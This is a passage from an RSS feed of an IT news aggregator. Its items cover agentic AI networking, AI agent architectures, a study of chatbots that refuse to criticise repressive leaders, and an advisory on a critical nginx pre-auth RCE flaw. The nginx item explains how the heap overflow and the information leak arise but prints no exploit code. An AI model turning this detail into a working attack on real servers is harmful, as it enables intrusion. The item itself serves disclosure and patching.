<pubDate>Mon, 20 Jul 2026 14:19:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="300" height="156" src="https://www.technewsworld.com/wp-content/uploads/sites/3/2026/07/world-cup-var-technology-scandal-300x156.jpg" class="attachment-medium size-medium wp-post-image" alt="Soccer referee reviews a VAR monitor as fans react during a match." decoding="async" loading="lazy" srcset="https://www.technewsworld.com/wp-content/uploads/sites/3/2026/07/world-cup-var-technology-scandal-300x156.jpg 300w, https://www.technewsworld.com/wp-content/uploads/sites/3/2026/07/world-cup-var-technology-scandal-768x399.jpg 768w, https://www.technewsworld.com/wp-content/uploads/sites/3/2026/07/world-cup-var-technology-scandal.jpg 1000w" sizes="auto, (max-width: 300px) 100vw, 300px"></div>The World Cup VAR controversy offers a lesson far beyond soccer, showing how poor implementation, mission creep, and public perception can undermine even the best technology. The post <a rel="nofollow" href="https://www.technewsworld.com/story/the-world-cup-var-scandal-wasnt-really-about-technology-180447.html?rss=1">The World Cup VAR Scandal Wasn't Really About Technology</a> appeared first on <a rel="nofollow" href="https://www.technewsworld.com/?rss=1">TechNewsWorld</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[Beyond grep: The case for a context-rich AI coding harness]]></title>
<description><![CDATA[Augment Code's Vinay Perneti talks models, harnesses, and context.]]></description>
<link>https://tsecurity.de/de/3681010/ai-nachrichten/beyond-grep-the-case-for-a-context-rich-ai-coding-harness/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681010/ai-nachrichten/beyond-grep-the-case-for-a-context-rich-ai-coding-harness/</guid>
<pubDate>Mon, 20 Jul 2026 13:34:18 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Augment Code's Vinay Perneti talks models, harnesses, and context.]]></content:encoded>
</item>
<item>
<title><![CDATA[A Beginner’s Guide to Growing Mushrooms at Home (2026)]]></title>
<description><![CDATA[From countertop kits to a bathroom bucket full of straw and beyond, I spent a year testing popular mushroom-growing methods. Here’s what fruited—and what just grew mold.]]></description>
<link>https://tsecurity.de/de/3680881/it-nachrichten/a-beginners-guide-to-growing-mushrooms-at-home-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680881/it-nachrichten/a-beginners-guide-to-growing-mushrooms-at-home-2026/</guid>
<pubDate>Mon, 20 Jul 2026 12:48:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[From countertop kits to a bathroom bucket full of straw and beyond, I spent a year testing popular mushroom-growing methods. Here’s what fruited—and what just grew mold.]]></content:encoded>
</item>
<item>
<title><![CDATA[Building the network for agentic AI: The foundation for autonomous enterprise operations]]></title>
<description><![CDATA[Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing ...]]></description>
<link>https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/</guid>
<pubDate>Mon, 20 Jul 2026 12:03:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing actions across applications, workflows and business processes with minimal human intervention.</p>



<p class="wp-block-paragraph">As organizations move toward agentic frameworks that can independently resolve customer issues, optimize supply chains, manage infrastructure, coordinate workflows and even operate IT environments, one reality becomes clear: The network becomes the nervous system of the autonomous enterprise.</p>



<p class="wp-block-paragraph">The infrastructure requirements of agentic AI differ dramatically from those of traditional applications. These systems are highly distributed, continuously exchanging information, interacting with APIs, accessing multiple data sources and making decisions in real time. The performance, security, visibility and adaptability of the network will directly determine the effectiveness of AI agents. Organizations that view AI readiness solely as a compute or data challenge risk overlooking one of the most critical enablers of future success — the network itself.</p>



<h2 class="wp-block-heading">From AI-ready networks to autonomous networks</h2>



<p class="wp-block-paragraph">The long-term destination is the <a href="https://www.ericsson.com/en/ai/autonomous-networks">autonomous network</a>: A network capable of self-monitoring, self-optimizing, self-healing and self-securing through the use of AI and automation. However, autonomous networking will not emerge overnight. The investments enterprises make today to support agentic AI are the same foundational building blocks required for tomorrow’s autonomous operations.</p>



<p class="wp-block-paragraph">In many ways, agentic AI serves as both the driver and beneficiary of network transformation. AI agents require networks that can dynamically adapt to changing demands, while autonomous networks will increasingly rely on AI agents to manage and optimize themselves. The result is a reinforcing cycle where AI and networking evolve together.</p>



<h2 class="wp-block-heading">The core characteristics of the network of the future</h2>



<p class="wp-block-paragraph">One of the most critical requirements for AI-ready networks is real-time observability and telemetry. Agentic AI thrives on context, and AI agents must continuously gather information from users, applications, devices, clouds, security systems and operational platforms. Future-ready networks must provide end-to-end visibility across campus, branch, cloud and data center environments. High-fidelity telemetry streams, real-time performance monitoring, application-aware analytics, AI-aware analytics and unified operational visibility are essential. Without comprehensive visibility, AI agents operate with incomplete information, limiting their effectiveness and increasing operational risk.</p>



<p class="wp-block-paragraph">Another cornerstone is intent-based automation. Traditional networks are configured manually, often requiring administrators to define thousands of individual settings. In contrast, autonomous networks operate according to business intent. Enterprises increasingly need to define desired outcomes — such as maintaining application performance, optimizing user experience or automatically isolating compromised devices — rather than micromanaging configurations. The network continuously adjusts itself to achieve those objectives, providing the foundation upon which AI agents can make decisions safely and consistently.</p>



<p class="wp-block-paragraph">Agentic AI also introduces entirely new traffic patterns that require AI-optimized connectivity. Large language models, retrieval systems, vector databases, cloud AI services, edge inference platforms and multi-agent orchestration frameworks create significant east-west and cloud-bound traffic. Future networks must provide low-latency connectivity, high-capacity fabrics, dynamic traffic engineering, edge-to-cloud optimization and policies that identify and prioritize AI workloads. The organizations that can move data efficiently will gain a competitive advantage in AI execution speed and responsiveness.</p>



<p class="wp-block-paragraph">Security is another non-negotiable element. Agentic AI expands the enterprise attack surface because AI agents increasingly access sensitive systems, interact with APIs, consume proprietary data and execute actions across business environments. Future-ready networks must embed zero trust security into their architecture, with continuous identity verification, fine-grained access controls, microsegmentation, policy-driven authorization and continuous risk assessment. Security can no longer be bolted onto the network; it must be integral to its design and AI agents need to adhere to their own identity rules.</p>



<p class="wp-block-paragraph">Finally, distributed intelligence across edge and cloud environments is essential. Many AI use cases require decisions to occur close to the source of data. Manufacturing systems, healthcare environments, retail operations, transportation networks and smart facilities often cannot tolerate the latency associated with centralized processing. Future networks must support edge AI deployment, distributed processing architectures, local inference, hybrid cloud operations and intelligent workload placement. The ability to move intelligence closer to users, devices and operational environments will become increasingly important as agentic AI expands across the enterprise.</p>



<h2 class="wp-block-heading">Human expertise remains essential</h2>



<p class="wp-block-paragraph">Despite rapid advances in AI, the future will not eliminate the need for human expertise. In fact, it may increase its importance. One of the most significant misconceptions surrounding AI is that automation eliminates the need for skilled professionals. The reality is that autonomous systems require expert oversight, governance, validation and continuous optimization.</p>



<p class="wp-block-paragraph">As AI systems become more capable, enterprises will need professionals who understand network architecture, security policy, AI governance, operational risk management, data quality, regulatory compliance and human-in-the-loop decision frameworks. The challenge is compounded by the unprecedented pace of AI innovation. New models, architectures, orchestration frameworks, security concerns and governance requirements emerge almost monthly. Most enterprise IT teams cannot be expected to independently evaluate every development while simultaneously modernizing infrastructure and maintaining day-to-day operations.</p>



<p class="wp-block-paragraph">Organizations need access to experts who continuously track technology evolution, understand emerging best practices and can help translate innovation into practical deployment strategies. These experts provide not only implementation support but also ongoing operational guidance, helping enterprises maintain appropriate human oversight as AI capabilities expand. The future is not fully autonomous decision-making without people; it is intelligent automation operating under expert human governance.</p>



<h2 class="wp-block-heading">5 actions enterprises should take now</h2>



<p class="wp-block-paragraph">Organizations should be preparing for the autonomous future right now. The following investments deliver immediate value while laying the groundwork for long-term AI transformation:</p>



<ol start="1" class="wp-block-list">
<li><strong>Modernize network observability.</strong> Establish <a href="https://www.ibm.com/think/insights/ai-agent-observability">comprehensive visibility</a> across users, applications, devices, clouds and infrastructure. Rich telemetry and operational data will become the fuel that powers both Agentic AI and autonomous network operations.</li>



<li><strong>Build an automation-first operating model.</strong> Identify repetitive operational processes and begin automating them. Automation maturity is a prerequisite for autonomous networking and creates the operational foundation AI agents will eventually leverage.</li>



<li><strong>Adopt zero-trust principles across the enterprise.</strong> Implement identity-centric security controls, segmentation and continuous policy enforcement. As AI agents gain access to enterprise systems, <a href="https://www.forrester.com/zero-trust/">security architectures</a> must evolve to leverage the same identity controls.</li>



<li><strong>Design for edge-to-cloud AI workloads.</strong> Evaluate network architectures for latency, bandwidth and resiliency requirements associated with distributed AI. Future AI deployments will span data centers, public clouds, branch locations and edge environments.</li>



<li><strong>Invest in skills and strategic partnerships.</strong> Develop <a href="https://mitsloan.mit.edu/ideas-made-to-matter/artificial-intelligence-pays-when-businesses-go-all">internal expertise</a> while leveraging partners that possess deep networking, automation, security and AI knowledge. Human expertise remains one of the most important success factors in building AI-ready and autonomous infrastructures.</li>
</ol>



<h2 class="wp-block-heading">The road ahead</h2>



<p class="wp-block-paragraph">Agentic AI is poised to transform enterprise operations in much the same way cloud computing transformed infrastructure and the internet transformed business itself. But AI agents cannot operate effectively without a modern network foundation. The enterprises that succeed will recognize that AI readiness extends beyond models and data. It requires networks that are observable, automated, secure, intelligent and increasingly autonomous. The investments made today in AI-ready networking are not merely infrastructure upgrades — they are strategic building blocks toward the autonomous enterprise of the future, where AI agents and autonomous networks work together under human guidance to deliver unprecedented levels of agility, efficiency, and innovation.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The 6 kinds of AI agent architectures]]></title>
<description><![CDATA[Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single p...]]></description>
<link>https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</guid>
<pubDate>Mon, 20 Jul 2026 11:09:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single phrase carries that much weight, well, it stops carrying any.</p>



<p class="wp-block-paragraph">I’ve spent the last three years inside hundreds of enterprise AI deployments, and the factor that separates the programs scaling elegantly from the ones still shuffling is often the CIO’s architectural fluency: The ability to look at business problems across the organization and recognize, on sight, what kind of AI architecture is the right fit. In my experience there are six archetypes, each with their own nuances, that CIOs should internalize to make well-informed decisions going forward.</p>



<h2 class="wp-block-heading">1. The conversational assistant</h2>



<p class="wp-block-paragraph">The first, and the one most enterprises meet first, is the conversational assistant: The chat-based partner that an employee or customer opens when they want to think out loud. <a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html?id=us:2ps:3gl:aisgm26:awa:CONS:em:K0218784:012626:kwd-430833501819:195648817121:794247818306::&amp;gclsrc=aw.ds&amp;gad_source=1&amp;gad_campaignid=23269751971&amp;gbraid=0AAAAADenGPCB8F-Mx6GhUt0V1PWpgLqtw&amp;gclid=Cj0KCQjwi8nRBhDhARIsAHZf_pYktgKgYgYBAR6AcMikwdYOF7q6S3WaLiLYg2hwhvdCjRiqajxnqtkaAsdYEALw_wcB">Deloitte found that 38%</a> of organizations report AI is already strengthening their client or customer relationships. This is the architecture people fall in love with: A well-designed assistant with constantly updated information, persistent user-level memory, tools that can act on behalf of users, and citations on every factual claim becomes a useful problem-solver that’s available at any hour of the day.</p>



<p class="wp-block-paragraph">A global law firm I work with deployed an internal assistant that gives every attorney instant access to the firm’s accumulated precedent, memos and prior matter work. Associates who used to spend the first hour of a research task hunting through document management systems now start with a grounded, citation-backed answer and refine from there. This helped the firm’s institutional knowledge, previously locked in the heads of senior partners, become queryable by anyone with a deadline at 11 p.m., or later.</p>



<p class="wp-block-paragraph">A second example: A mid-market wealth management firm built a client-facing assistant that handles portfolio questions, statement explanations and routine servicing requests. The assistant draws from each client’s actual holdings, recent activity and the firm’s published market commentary, with citations linking back to source documents. Advisors stopped being interrupted for the questions that didn’t require an advisor, and clients got answers on a Sunday.</p>



<h2 class="wp-block-heading">2. The triggered workflow</h2>



<p class="wp-block-paragraph">Another pattern producing the value across the enterprises I work with is something that runs silently: An email arrives, a ticket is created, a file lands in a folder and the agent executes a process utilizing both reasoning and determinism. These agents don’t even require user adoption, because they’re invisible to the end user. They produce measurable outcomes, but fit cleanly into the audit and change-control processes IT teams have run for decades.</p>



<p class="wp-block-paragraph">A commercial insurer I advise built a triggered workflow for inbound submissions. Every broker email that arrives at the underwriting inbox is classified by line of business, the attachments are parsed, key risk fields are extracted into the policy administration system, and a draft acknowledgment is queued for the underwriter’s review. Seemingly overnight, the inbox began arriving pre-sorted, and submission throughput rose meaningfully without any change to headcount.</p>



<p class="wp-block-paragraph">Another example, this time from a private equity firm: Every inbound confidential information memorandum (CIM) that hits the deal team’s shared inbox triggers a workflow that extracts the financial summary, screens it against the firm’s investment criteria, drafts a preliminary memo and posts the result into the deal-tracking system. Associates still make the call on what to pursue, but the first three hours of manual work on each opportunity now happen before anyone even opens the file.</p>



<h2 class="wp-block-heading">3. The autonomous agent — with sub-agents</h2>



<p class="wp-block-paragraph">Here we have the architecture that gets the most conference attention: The autonomous agent, given a task and left to plan its own steps by utilizing its own sub-agents. Autonomous agents are not one-size-fits-all, but they do meet a specific need: Multi-source research, complex cross-system lookups, deep-dive investigations. All of these are processes where the path isn’t usually specified in advance, but the tools are. With the right design discipline, an autonomous agent feels like having a self-sufficient teammate who can call in the right resources and specialists if needed.</p>



<p class="wp-block-paragraph">A global consulting firm I work with uses an autonomous research agent for early-stage engagement scoping. Given a target company and a strategic question, the agent decides for itself which sub-agents to consult (choosing from internal proprietary databases, prior engagement archives, licensed market data, public filings) and produces a structured briefing with its reasoning chain attached.</p>



<p class="wp-block-paragraph">Another large technology company I know of deployed an autonomous agent for cross-system incident investigation. When a production alert fires, the agent forms a hypothesis, queries the necessary sub-agents with relevant monitoring tools, log stores and deployment systems, and follows the trail until it reaches a defensible root-cause summary to surface to an engineer.</p>



<h2 class="wp-block-heading">4. The multi-agent team</h2>



<p class="wp-block-paragraph">The fourth pattern is where the next wave of enterprise quality gains is going to come from. <a href="https://www.databricks.com/resources/ebook/state-of-ai-agents">According to Databricks</a>, usage of multi-agent systems grew 327% in just four months as enterprises moved beyond single chatbots. Several specialized agents, each with its own role and toolset, coordinate through a shared protocol: A researcher and a writer, a planner and a set of executors, a proposer and a critic. The proposer-critic feedback loop is one of the smartest techniques in agent design today. One model produces an answer; a second, with a different prompt and often a different provider, evaluates it against explicit criteria. For compliance review, contract analysis, high-stakes classification and any output that will be audited, this second pass is extremely helpful and mirrors how human teams work.</p>



<p class="wp-block-paragraph">A global bank I work with uses a multi-agent system for marketing and communications review. One agent drafts client-facing copy, a second checks it against the firm’s regulatory and brand guidelines and a third checks it against jurisdiction-specific disclosure rules. Disagreements among the agents are surfaced to a human reviewer with the specific clauses flagged. The compliance team stopped being the bottleneck on every routine piece of copy and started focusing on the high-judgment cases instead.</p>



<p class="wp-block-paragraph">The next example: A pharmaceutical company built a multi-agent workflow for medical literature summarization. A retriever agent gathers candidate studies, a reader agent extracts study design and findings, a critic agent challenges the reader’s claims against the source text, and a synthesizer agent composes the final brief. The proposer-critic loop in the middle is the reason the medical affairs team trusts the output enough to act on it.</p>



<h2 class="wp-block-heading">5. The human-in-the-loop (HITL) agent</h2>



<p class="wp-block-paragraph">The fifth pattern is the one I think we’ll see increasingly more of in the future. While many see “full automation” as the goal, the right target is actually to let the agent handle the 80% of a task that is mechanical, while preserving human judgment at the most critical moments. This is achievable via human-in-the-loop (HITL) agents. <a href="https://www.moodys.com/web/en/us/insights/ai/human-in-the-loop-why-human-oversight-still-matters-in-ai-driven-risk-and-compliance.html">According to Moody’s, 42%</a> of compliance professionals believe that human oversight is mandatory, and I agree: AI should run <em>right</em>, by getting approval and review before any sensitive business action is taken. HITL is the architecture that can help turn a skeptical team into an enthusiastic one.</p>



<p class="wp-block-paragraph">A regional health system I worked with uses a HITL agent for prior-authorization letters. The agent assembles the clinical evidence, drafts the letter against the relevant payer’s criteria, and routes it to a nurse case manager for review inside the existing workflow tool. The nurse approves, edits or rejects in seconds rather than minutes, and every edit helps make the next draft better.</p>



<p class="wp-block-paragraph">A property management company uses a HITL agent to run its maintenance work orders. When a tenant emails about a problem (an HVAC unit that died overnight, say), the agent pulls the structured details (tenant, unit, issue type, urgency), matches the job to the right vendor from the directory, and drafts the work order. A team member approves it in Slack before anything goes out. From there the agent emails the vendor with the full order, confirms with the tenant that someone is on the way and updates Airtable, closing the loop completely.</p>



<h2 class="wp-block-heading">6. The scheduled agent</h2>



<p class="wp-block-paragraph">On a set schedule or against a batch of inputs, this agent runs the same defined task: Produce a report, refresh a dataset, monitor a set of sources or summarize a period of activity. Under this archetype, unsexy work gets done consistently, integrated into existing operational rhythms like the Monday morning meeting, the daily standup and the monthly board deck, without asking anyone to change their behavior. This is the architecture that shifts AI from feeling like even more work, to a seamless teammate that just works.</p>



<p class="wp-block-paragraph">A private equity firm I work with runs a scheduled agent every Monday at 6 a.m. that monitors news, filings and earnings activity across every portfolio company and produces a single PDF that lands in the deal partners’ inboxes before the weekly investment meeting. No one logs into a dashboard. The agent shows up, on time, with the same format every week, and the meeting now starts from a shared baseline rather than from whatever each partner happened to read over the weekend.</p>



<p class="wp-block-paragraph">A second example: A global manufacturer runs a nightly batch agent that ingests the day’s quality-control reports across plants, summarizes anomalies against a rolling baseline, and produces an end-of-shift handoff document for each site lead’s morning. The agent doesn’t flag emergencies, but it ensures that the slow-moving patterns no human would catch reading one shift’s data in isolation get surfaced.</p>



<h2 class="wp-block-heading">Bringing it together</h2>



<p class="wp-block-paragraph">None of these six archetypes is more advanced than the others or inherently better. But CIOs can have an edge by choosing the one that the operational problem actually calls for.</p>



<p class="wp-block-paragraph">Before you scope a single deployment, you should be able to look at a business problem and name its shape: Is this a question someone needs answered in the moment, or a process that should run the instant a trigger fires? Does the path need to be discovered, or is it known in advance and just waiting to be executed? Where, exactly, does human judgment have to stay in the loop, and where is it just friction?</p>



<p class="wp-block-paragraph">Going forward, CIOs should start treating the architecture decision as the first design choice. Everything downstream — adoption, governance, trust — only gets easier if the architecture is the right fit.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Free Speech Concern: When AI Chatbots Won't Criticize Leaders from Repressive Regimes]]></title>
<description><![CDATA[Ask Claude to make a pamphlet critical of China's leader, Thailand's king, or Saudi Arabia's crown prince — and it will decline, reports the Associated Press. 

That's "a key finding from a Meta Oversight Board study released Thursday," their article points out: AI systems are more than twice as ...]]></description>
<link>https://tsecurity.de/de/3680525/it-security-nachrichten/new-free-speech-concern-when-ai-chatbots-wont-criticize-leaders-from-repressive-regimes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680525/it-security-nachrichten/new-free-speech-concern-when-ai-chatbots-wont-criticize-leaders-from-repressive-regimes/</guid>
<pubDate>Mon, 20 Jul 2026 09:55:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ask Claude to make a pamphlet critical of China's leader, Thailand's king, or Saudi Arabia's crown prince — and it will decline, reports the Associated Press. 

That's "a key finding from a Meta Oversight Board study released Thursday," their article points out: AI systems are more than twice as likely to refuse to product critical material if it's about a restrictive world leader or government. And it raises concerns that the LLMs powering chatbots "could be regurgitating and spreading government influence over online speech."

The study picked 10 commercial large language models by top tech companies — including Meta, Anthropic and OpenAI — and asked the AI systems to make critical pamphlets, write limericks, give reasons if someone should join protests, and more.... "In aggregate, models responding to requests from an Australia-based user were much more likely to generate political criticism of authorities" in places such as Chile, Japan, Taiwan, the U.K. and the U.S. "compared to where criticism of authorities is legally restricted and penalized," such as in Cambodia, China, Saudi Arabia, Thailand and Turkey, the report said. 

The study indicates that AI models are reflecting speech restrictions beyond the countries where they apply — likely not helping a potential demonstrator in Brisbane, for example, create protest materials to speak out against events in China or Saudi Arabia, the report said. "Such impacts, wherever they originate, have the practical effect of extending the long arm of restrictive governments across borders to limit speech in free countries," the report said. 
The board said it could not determine the causes for the responses but suggested that models could have absorbed latent biases in data used to train the systems and companies might have weighed the risks and liabilities.
<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=New+Free+Speech+Concern%3A+When+AI+Chatbots+Won't+Criticize+Leaders+from+Repressive+Regimes%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F20%2F0611253%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F20%2F0611253%2Fnew-free-speech-concern-when-ai-chatbots-wont-criticize-leaders-from-repressive-regimes%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/07/20/0611253/new-free-speech-concern-when-ai-chatbots-wont-criticize-leaders-from-repressive-regimes?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-42533 Exposes Critical Pre-Auth nginx RCE Flaw]]></title>
<description><![CDATA[A newly disclosed security flaw, CVE-2026-42533, has revealed a critical Pre-Auth nginx vulnerability that could allow attackers to achieve reliable RCE (remote code execution) without authentication. The issue affects nginx versions 0.9.6 through 1.30.3 (stable) and 1.31.2 (mainline), while patc...]]></description>
<link>https://tsecurity.de/de/3680443/it-security-nachrichten/cve-2026-42533-exposes-critical-pre-auth-nginx-rce-flaw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680443/it-security-nachrichten/cve-2026-42533-exposes-critical-pre-auth-nginx-rce-flaw/</guid>
<pubDate>Mon, 20 Jul 2026 08:52:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1217" height="768" src="https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="CVE-2026-42533" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533.webp 1217w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-300x189.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1024x646.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-768x485.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-600x379.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-150x95.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-750x473.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1140x719.webp 1140w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533.webp 1217w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-300x189.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1024x646.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-768x485.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-600x379.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-150x95.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-750x473.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1140x719.webp 1140w" sizes="(max-width: 1217px) 100vw, 1217px" title="CVE-2026-42533 Exposes Critical Pre-Auth nginx RCE Flaw 1"></p><span data-contrast="auto">A newly disclosed security flaw, CVE-2026-42533, has revealed a critical Pre-Auth nginx vulnerability that could allow attackers to achieve reliable RCE (remote code execution) without authentication. The issue affects nginx versions 0.9.6 through 1.30.3 (stable) and 1.31.2 (mainline), while patched releases include 1.30.4 and 1.31.3. Affected NGINX Plus versions include R33-R36 (fixed in R36 P7) and 37.0.0.1-37.0.2.1 (fixed in 37.0.3.1).</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to the disclosure, the <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29039">vulnerability</a> stems from a missing save-and-restore mechanism for PCRE capture state within nginx's two-pass script evaluation engine. The flaw enables attackers to trigger a heap buffer overflow with attacker-controlled content and length, while also exposing heap pointers through an information leak that can defeat Address Space Layout Randomization (ASLR). Chaining both primitives enables reliable Pre-Auth nginx RCE.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">CVE-2026-42533 Impacts Multiple Configurations</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The <a href="https://cyberstan.co.uk/nginx-rce/" target="_blank" rel="nofollow noopener">advisory warns</a> that deployments using map directives with regex patterns alongside regex capture sources, including location, server_name, rewrite, or if blocks, may be vulnerable. The issue depends on evaluation order, where regex capture references, such as $1 or named groups, are processed before a regex map variable.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Affected directives include proxy_set_header, proxy_method, proxy_pass, fastcgi_param, uwsgi_param, scgi_param, grpc_set_header, return, add_header, rewrite, set, root, alias, and access_log, among others. Both HTTP and stream modules are affected, and the <a href="https://thecyberexpress.com/default-credentials-polish-energy-grid-attack/" target="_blank" rel="noopener">vulnerable</a> capture and map variables do not need to exist within the same directive.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Technical Root Cause</span></b></h3>
<span data-contrast="auto">The researcher explained that nginx evaluates expressions in two stages: a length calculation (LEN) pass followed by a value (VALUE) pass. During execution, regex map evaluation overwrites shared capture <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29040">data</a> stored in the request object. As a result, the LEN pass and VALUE pass can calculate different capture sizes, causing either a heap overflow or an information leak depending on the relative capture lengths.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The disclosure states that attackers can control both the overflow size and leaked data using ordinary HTTP requests, including request URIs, headers, and bodies. No credentials, client certificates, or unusual configuration beyond the vulnerable pattern are required.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Testing reportedly achieved 10 out of 10 successful <a href="https://thecyberexpress.com/rcritical-ivanti-csa-vulnerabilities-exploited/" target="_blank" rel="noopener">exploitations</a> on Ubuntu 24.04 using glibc 2.39 with ASLR enabled.</span>
<h3 aria-level="2"><b><span data-contrast="none">Mitigation and Disclosure</span></b></h3>
<span data-contrast="auto">The researcher said recent fixes for CVE-2026-42945, CVE-2026-9256, CVE-2026-42055, and CVE-2026-48142 do not address CVE-2026-42533. Administrators are advised to upgrade immediately to nginx 1.30.4, 1.31.3, or the corresponding patched NGINX Plus releases.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Until systems are updated, defenders should audit configurations that combine regex captures with regex map variables in the same evaluation path. The researcher also released a static configuration scanner that identifies vulnerable configurations without exploiting them.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The initial report was submitted to F5 SIRT on May 17, 2026, with follow-up analyses covering additional variants, including cross-directive triggering and named capture clobbering. While a proof-of-concept exploit exists, the researcher said it will be withheld until users have sufficient time to apply patches, citing concerns over rapid exploitation following previous <a href="https://thecyberexpress.com/nginx-rift-cve-2026-42945-active-exploitation/" target="_blank" rel="noopener">nginx</a> vulnerability disclosures.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Claude Mythos FAQ: Capabilities, access, competitors, implications]]></title>
<description><![CDATA[1.
What is Claude Mythos?




Claude Mythos is an advanced AI model developed by Anthropic and is optimized for cybersecurity and healthcare applications.



Mythos 5 was originally released in April to a small group of vetted technology partners ahead of a planned wider rollout.



Anthropic est...]]></description>
<link>https://tsecurity.de/de/3680433/it-security-nachrichten/claude-mythos-faq-capabilities-access-competitors-implications/</link>
